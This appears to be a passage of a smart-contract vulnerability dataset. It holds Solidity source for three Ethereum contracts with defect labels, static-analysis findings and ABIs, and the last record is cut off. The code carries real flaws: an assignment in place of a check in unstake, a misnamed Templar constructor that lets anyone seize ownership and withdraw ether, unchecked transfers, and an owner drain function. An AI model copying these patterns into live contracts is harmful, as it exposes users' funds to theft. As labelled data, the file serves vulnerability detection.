// CosmicKiss Staking // https://cosmickiss.io // SPDX-License-Identifier: MIT pragma solidity 0.8.4; interface IERC20 { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } contract CosmicStake { mapping(address => uint256) public stakingBalance; mapping(address => uint256) public yeildStartTime; mapping(address => uint256) public parkedYeild; mapping(address => uint256) public stakeStartTime; mapping(address => bool) public isStaking; IERC20 public cosmicToken; bool public canStake; bool public canUnstake; bool public canYeild; bool public canReinvest; enum State {stake, unstake, yeildwithdraw,reinvest} event StakeEvent(address indexed form,uint256 amount,uint256 timestamp,State indexed state); uint256 public ownBalance; uint256 public rate; uint256 public lockTime; address public owner; constructor(IERC20 _cosmicToken,uint256 _rate,uint256 _lockTime) { cosmicToken = _cosmicToken; owner = msg.sender; rate = _rate; lockTime = _lockTime; canStake = true; canUnstake = true; canYeild = true; canReinvest = true; } modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } function updateRate(uint256 newRate) onlyOwner public returns(bool){ rate = newRate; return true; } function updateLockTime(uint256 newLockTime) onlyOwner public returns(bool){ lockTime = newLockTime; return true; } function transferOwnership(address newOwner) onlyOwner public returns(bool){ owner = newOwner; return true; } function updateTradingState(bool _canStake,bool _canUnstake,bool _canYeild,bool _canReinvest) onlyOwner public returns(bool){ canStake = _canStake; canUnstake = _canUnstake; canYeild = _canYeild; canReinvest = _canReinvest; return true; } function emergency(uint256 amt) onlyOwner public { cosmicToken.transfer(owner,amt); } function stake(uint256 amount) public { require(canStake,"function is disabled"); require(amount > 0,"You cannot stake zero tokens"); if(isStaking[msg.sender] == true){ parkedYeild[msg.sender] += calculateYieldTotal(msg.sender); } cosmicToken.transferFrom(msg.sender, address(this), amount); stakingBalance[msg.sender] += amount; ownBalance += amount; stakeStartTime[msg.sender] = block.timestamp; yeildStartTime[msg.sender] = block.timestamp; isStaking[msg.sender] = true; emit StakeEvent(msg.sender, amount,block.timestamp,State.stake); } function unstake(uint256 amount) public { require(canUnstake,"function is disabled"); require((stakeStartTime[msg.sender]+lockTime) < block.timestamp,"cannot unstake untill your time completes"); require( isStaking[msg.sender] = true && stakingBalance[msg.sender] >= amount, "Nothing to unstake" ); stakeStartTime[msg.sender] = block.timestamp; yeildStartTime[msg.sender] = block.timestamp; stakingBalance[msg.sender] -= amount; cosmicToken.transfer(msg.sender, amount); parkedYeild[msg.sender] += calculateYieldTotal(msg.sender); ownBalance -= amount; if(stakingBalance[msg.sender] == 0){ isStaking[msg.sender] = false; } emit StakeEvent(msg.sender, amount,block.timestamp,State.unstake); } function calculateYieldTime(address user) public view returns(uint256){ uint256 end = block.timestamp; uint256 totalTime = end - yeildStartTime[user]; return totalTime; } function calculateYieldTotal(address user) public view returns(uint256) { uint256 time = calculateYieldTime(user) * 10**18; uint256 timeRate = time / rate; uint256 rawYield = (stakingBalance[user] * timeRate) / 10**18; return rawYield; } function reInvestRewards() public { require(canReinvest,"function is disabled"); uint256 toReinvest = calculateYieldTotal(msg.sender); if(parkedYeild[msg.sender] != 0){ toReinvest += parkedYeild[msg.sender]; parkedYeild[msg.sender] = 0; } require(toReinvest>0,"Nothing to reinvest"); stakingBalance[msg.sender] += toReinvest; ownBalance += toReinvest; stakeStartTime[msg.sender] = block.timestamp; yeildStartTime[msg.sender] = block.timestamp; isStaking[msg.sender] = true; emit StakeEvent(msg.sender, toReinvest,block.timestamp,State.reinvest); } function withdrawYield() public { require(canYeild,"function is disabled"); uint256 toTransfer = calculateYieldTotal(msg.sender); if(parkedYeild[msg.sender] != 0){ toTransfer += parkedYeild[msg.sender]; parkedYeild[msg.sender] = 0; } require(toTransfer>0,"Nothing to yeild"); require((cosmicToken.balanceOf(address(this))-ownBalance)>=toTransfer,"Insufficient pool"); yeildStartTime[msg.sender] = block.timestamp; cosmicToken.transfer(msg.sender, toTransfer); emit StakeEvent(msg.sender, toTransfer,block.timestamp,State.yeildwithdraw); } }
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["79", "162", "110"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["120", "108", "146", "94", "145", "107", "93", "161"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["65"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["92", "144", "138", "112", "156", "91", "87", "143", "111", "109", "126", "128", "127", "121"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["90", "86", "137", "51", "102", "101", "110", "113", "155", "162"]}]
[{"check": "boolean-cst", "impact": "Medium", "confidence": "Medium", "lines": {"CosmicStake.sol": [102, 103, 104, 105, 106]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"CosmicStake.sol": [86]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"CosmicStake.sol": [128]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CosmicStake.sol": [96, 97, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CosmicStake.sol": [60, 61, 62, 63]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CosmicStake.sol": [70, 71, 72, 73, 74, 75, 76]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CosmicStake.sol": [160, 161, 162, 163, 164, 151, 152, 153, 154, 155, 156, 157, 158, 159]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CosmicStake.sol": [56, 57, 58, 55]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CosmicStake.sol": [133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CosmicStake.sol": [80, 78, 79]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CosmicStake.sol": [65, 66, 67, 68]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CosmicStake.sol": [99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"CosmicStake.sol": [86]}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"CosmicStake.sol": [66]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"CosmicStake.sol": [56]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"CosmicStake.sol": [66]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CosmicStake.sol": [70]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CosmicStake.sol": [70]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CosmicStake.sol": [70]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CosmicStake.sol": [70]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"CosmicStake.sol": [111]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"CosmicStake.sol": [93]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"CosmicStake.sol": [116]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"CosmicStake.sol": [163]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"CosmicStake.sol": [96]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"CosmicStake.sol": [94]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"CosmicStake.sol": [114]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"CosmicStake.sol": [86]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"CosmicStake.sol": [102, 103, 104, 105, 106]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"CosmicStake.sol": [160]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"CosmicStake.sol": [141]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"CosmicStake.sol": [162]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"CosmicStake.sol": [90]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"CosmicStake.sol": [110]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"CosmicStake.sol": [79]}}]
[]
[{"rule": "SOLIDITY_VISIBILITY", "line": 38, "severity": 1}]
[{"inputs":[{"internalType":"contract IERC20","name":"_cosmicToken","type":"address"},{"internalType":"uint256","name":"_rate","type":"uint256"},{"internalType":"uint256","name":"_lockTime","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"form","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"},{"indexed":true,"internalType":"enum CosmicStake.State","name":"state","type":"uint8"}],"name":"StakeEvent","type":"event"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"calculateYieldTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"calculateYieldTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"canReinvest","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"canStake","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"canUnstake","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"canYeild","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cosmicToken","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"emergency","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isStaking","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lockTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"parkedYeild","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reInvestRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"stake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"stakeStartTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"stakingBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"unstake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLockTime","type":"uint256"}],"name":"updateLockTime","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newRate","type":"uint256"}],"name":"updateRate","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_canStake","type":"bool"},{"internalType":"bool","name":"_canUnstake","type":"bool"},{"internalType":"bool","name":"_canYeild","type":"bool"},{"internalType":"bool","name":"_canReinvest","type":"bool"}],"name":"updateTradingState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawYield","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"yeildStartTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]
v0.8.4+commit.c7e474f2
false
200
00000000000000000000000043eaf5f561b5705de56eacc3fb842a70f218806300000000000000000000000000000000000000000000000000000000000762000000000000000000000000000000000000000000000000000000000000127500
Default
None
false
ipfs://25ad2fa4325e712be17ea5f0a2aa958270274ec92110897fc23233bb19c8f798
BastoneToken
0xed5a55797caecca39811ac3cc0ee085cafc05953
Solidity
pragma solidity ^0.4.11; // ---------------------------------------------------------------------------- // BSN 'Bastone' token contract // // Deployed to 0xed5a55797caecca39811ac3cc0ee085cafc05953#code // // Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/issues/20 // ---------------------------------------------------------------------------- contract ERC20Interface { uint public totalSupply; function balanceOf(address _owner) constant returns (uint balance); function transfer(address _to, uint _value) returns (bool success); function transferFrom(address _from, address _to, uint _value) returns (bool success); function approve(address _spender, uint _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint remaining); event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { // ------------------------------------------------------------------------ // Current owner, and proposed new owner // ------------------------------------------------------------------------ address public owner; address public newOwner; // ------------------------------------------------------------------------ // Constructor - assign creator as the owner // ------------------------------------------------------------------------ function Owned() { owner = msg.sender; } // ------------------------------------------------------------------------ // Modifier to mark that a function can only be executed by the owner // ------------------------------------------------------------------------ modifier onlyOwner { require(msg.sender == owner); _; } // ------------------------------------------------------------------------ // Owner can initiate transfer of contract to a new owner // ------------------------------------------------------------------------ function transferOwnership(address _newOwner) onlyOwner { newOwner = _newOwner; } // ------------------------------------------------------------------------ // New owner has to accept transfer of contract // ------------------------------------------------------------------------ function acceptOwnership() { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = 0x0; } event OwnershipTransferred(address indexed _from, address indexed _to); } // ---------------------------------------------------------------------------- // Safe maths, borrowed from OpenZeppelin // ---------------------------------------------------------------------------- library SafeMath { // ------------------------------------------------------------------------ // Add a number to another number, checking for overflows // ------------------------------------------------------------------------ function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a && c >= b); return c; } // ------------------------------------------------------------------------ // Subtract a number from another number, checking for underflows // ------------------------------------------------------------------------ function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals // ---------------------------------------------------------------------------- contract BastoneToken is ERC20Interface, Owned { using SafeMath for uint; // ------------------------------------------------------------------------ // Token parameters // ------------------------------------------------------------------------ string public constant symbol = "BSN"; string public constant name = "Bastone"; uint8 public constant decimals = 18; uint public constant totalSupply = 50 * 10**6 * 10**18; // ------------------------------------------------------------------------ // Balances for each account // ------------------------------------------------------------------------ mapping(address => uint) balances; // ------------------------------------------------------------------------ // Owner of account approves the transfer of an amount to another account // ------------------------------------------------------------------------ mapping(address => mapping (address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function BastoneToken() Owned() { balances[owner] = totalSupply; } // ------------------------------------------------------------------------ // Get the account balance of another account with address _owner // ------------------------------------------------------------------------ function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } // ------------------------------------------------------------------------ // Transfer the balance from owner's account to another account // ------------------------------------------------------------------------ function transfer(address _to, uint _amount) returns (bool success) { if (balances[msg.sender] >= _amount // User has balance && _amount > 0 // Non-zero transfer && balances[_to] + _amount > balances[_to] // Overflow check ) { balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } else { return false; } } // ------------------------------------------------------------------------ // Allow _spender to withdraw from your account, multiple times, up to the // _value amount. If this function is called again it overwrites the // current allowance with _value. // ------------------------------------------------------------------------ function approve( address _spender, uint _amount ) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } // ------------------------------------------------------------------------ // Spender of tokens transfer an amount of tokens from the token owner's // balance to another account. The owner of the tokens must already // have approve(...)-d this transfer // ------------------------------------------------------------------------ function transferFrom( address _from, address _to, uint _amount ) returns (bool success) { if (balances[_from] >= _amount // From a/c has balance && allowed[_from][msg.sender] >= _amount // Transfer approved && _amount > 0 // Non-zero transfer && balances[_to] + _amount > balances[_to] // Overflow check ) { balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } else { return false; } } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance( address _owner, address _spender ) constant returns (uint remaining) { return allowed[_owner][_spender]; } // ------------------------------------------------------------------------ // Don't accept ethers - no payable modifier // ------------------------------------------------------------------------ function () { } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint amount) onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, amount); } }
[{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["114", "115", "113", "17"]}, {"defect": "Redefine_variable", "type": "Code_specification", "severity": "Low", "lines": ["117"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["70", "70", "45", "70", "133"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["189", "150"]}]
[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"BastoneToken.sol": [17]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BastoneToken.sol": [22]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BastoneToken.sol": [24, 23]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BastoneToken.sol": [70, 71, 72, 73, 74, 75]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BastoneToken.sol": [227, 228, 229, 230, 231]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BastoneToken.sol": [64, 62, 63]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BastoneToken.sol": [19]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BastoneToken.sol": [18]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BastoneToken.sol": [220, 221]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BastoneToken.sol": [20, 21]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BastoneToken.sol": [1]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"BastoneToken.sol": [63]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BastoneToken.sol": [149]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BastoneToken.sol": [210]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BastoneToken.sol": [211]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BastoneToken.sol": [186]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BastoneToken.sol": [170]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BastoneToken.sol": [62]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BastoneToken.sol": [171]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BastoneToken.sol": [141]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BastoneToken.sol": [117]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BastoneToken.sol": [185]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BastoneToken.sol": [149]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BastoneToken.sol": [187]}}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High", "lines": {"BastoneToken.sol": [17]}}]
[{"error": "Integer Overflow.", "line": 192, "level": "Warning"}]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 74, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 18, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 23, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 141, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 209, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 169, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 108, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 18, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 19, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 20, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 22, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 23, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 45, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 62, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 70, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 133, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 141, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 149, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 169, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 184, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 209, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 220, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 227, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 122, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 127, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_amount","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"tokenAddress","type":"address"},{"name":"amount","type":"uint256"}],"name":"transferAnyERC20Token","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":false,"stateMutability":"nonpayable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}]
v0.4.16+commit.d7661dd9
false
200
Default
false
bzzr://ebe45431f6e56475f358573599844866cf66025c68a7a6d5f9ee99b2eb1429d3
Templar
0xd2e28752827a9431de9ddec552fbddae9f473ae5
Solidity
pragma solidity ^0.4.0; contract Templar { string public constant symbol = "Templar"; string public constant name = "KXT"; uint8 public constant decimals = 18; uint256 public totalSupply = 100000000 * (uint256(10)**decimals); address public owner; uint256 public rate = 5000000000000; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; modifier onlyOwner { require(msg.sender == owner); _; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function Mint() public{ owner = msg.sender; } function () public payable { create(msg.sender); } function create(address beneficiary)public payable{ uint256 amount = msg.value; if(amount > 0){ balances[beneficiary] += amount/rate; totalSupply += amount/rate; } } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function collect(uint256 amount) onlyOwner public{ msg.sender.transfer(amount); } function transfer(address _to, uint256 _amount) public returns (bool success) { if (balances[msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; } } function transferFrom( address _from, address _to, uint256 _amount ) public returns (bool success) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["35"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["3"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["4", "5"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["28", "38", "54", "27", "41", "42", "58", "59", "60", "7"]}]
[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Templar.sol": [9]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Templar.sol": [21, 22, 23]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Templar.sol": [64, 65, 66, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Templar.sol": [32, 33, 31]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Templar.sol": [34, 35, 36]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Templar.sol": [18, 19, 20]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Templar.sol": [67, 68, 69, 70, 71]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Templar.sol": [72, 73, 74]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Templar.sol": [37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Templar.sol": [1]}}, {"check": 